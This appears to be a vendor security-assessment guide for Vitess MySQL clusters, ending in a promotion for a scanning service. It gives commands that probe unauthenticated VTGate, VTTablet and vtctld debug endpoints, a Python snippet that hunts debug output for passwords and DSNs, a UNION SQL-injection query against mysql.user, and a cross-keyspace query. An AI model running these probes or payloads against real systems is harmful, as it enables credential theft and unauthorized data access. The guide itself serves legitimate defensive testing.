Vitess is a database clustering system for horizontal MySQL sharding, widely used for Kubernetes-native MySQL deployments. Its architecture introduces unique security concerns: VTGate acts as the query router and connection proxy — SQL injection through application code still reaches individual MySQL shards. VTTablet exposes gRPC and HTTP management interfaces that in default configurations lack authentication, allowing any network-adjacent client to initiate tablet operations. VTAdmin (the management web UI) deployed without authentication allows full cluster visibility and management. The vtctld topology server stores cluster layout in an accessible gRPC endpoint. Keyspace ACLs that are misconfigured allow cross-keyspace data access. This guide covers systematic Vitess security assessment.
# VTGate default ports:
# 3306 — MySQL protocol (application connections)
# 15001 — gRPC
# 15002 — HTTP (debug/metrics)
# Connect to VTGate via MySQL protocol
mysql -h vtgate.example.com -P 3306 -u myapp -p \
-e "SHOW DATABASES;" 2>/dev/null
# Lists keyspaces as databases
# Check VTGate HTTP debug endpoint (no auth by default)
curl -s http://vtgate.example.com:15002/debug/vars 2>/dev/null | head -30
# Returns VTGate internal metrics including query counts and connection info
curl -s http://vtgate.example.com:15002/debug/queryz 2>/dev/null | head -30
# Returns recent query patterns — useful for understanding application SQL
# VTGate does NOT prevent SQL injection — it routes queries to shards
# Standard SQL injection techniques apply through VTGate
mysql -h vtgate.example.com -P 3306 -u appuser -p"$PASS" \
--execute="SELECT user, password FROM @keyspace.users WHERE id=1 UNION SELECT user,password FROM mysql.user-- -" 2>/dev/null
# Use SHOW VITESS_TABLETS to enumerate all shards and replicas
mysql -h vtgate.example.com -P 3306 -u appuser -p"$PASS" \
--execute="SHOW VITESS_TABLETS;" 2>/dev/null# VTTablet manages individual MySQL instances
# Default ports: 15100 (gRPC), 15101 (HTTP)
# Check VTTablet HTTP debug endpoint
curl -s http://vttablet.example.com:15101/debug/status 2>/dev/null | head -20
# Returns tablet status, MySQL connection info, shard assignment
curl -s http://vttablet.example.com:15101/debug/vars 2>/dev/null | \
python3 -c "
import json,sys
try:
data = json.load(sys.stdin)
# Look for MySQL credentials in debug vars
for k,v in data.items():
if any(s in k.lower() for s in ['password','credential','secret','dsn']):
print(f'{k}: {v}')
except:
pass
" 2>/dev/null
# VTTablet healthcheck endpoint (no auth)
curl -s http://vttablet.example.com:15101/healthz 2>/dev/null
# Returns {"status":"healthy","tablet":{"keyspace":"...","shard":"..."}}
# Reveals keyspace/shard topology
# Enumerate all VTTablets in the cluster via vtctld
curl -s http://vtctld.example.com:15000/api/tablets 2>/dev/null | \
python3 -m json.tool | grep -E "(hostname|port|keyspace|shard|tablet_type)" | head -30-mysql_auth_server_impl=clientcert or -mysql_auth_server_impl=static with strong passwords-queryserver-config-acl-query-table-groups to enforce per-keyspace access controls| Security Test | Method | Risk |
|---|---|---|
| VTTablet debug HTTP accessible without auth | curl :15101/debug/vars — returns internal metrics and config | High |
| VTAdmin web UI unauthenticated access | curl :14201/ — full cluster visibility without login | High |
| vtctld topology enumeration | curl :15000/api/tablets — lists all tablets, keyspaces, shards | High |
| SQL injection through VTGate | Standard SQLi payloads via MySQL protocol on port 3306 | High |
| MySQL credentials in debug vars | grep debug/vars for dsn/password/credential keys | High |
| Cross-keyspace query via keyspace qualifier | SELECT * FROM @other_keyspace.sensitive_table via VTGate | Medium |
Ironimo tests Vitess deployments for VTGate SQL injection, VTTablet gRPC and HTTP management port unauthenticated access, VTAdmin web UI without authentication, vtctld topology data exfiltration, keyspace isolation bypass, MySQL credential exposure in debug endpoints, and TLS misconfiguration across the Vitess cluster.
Start free scan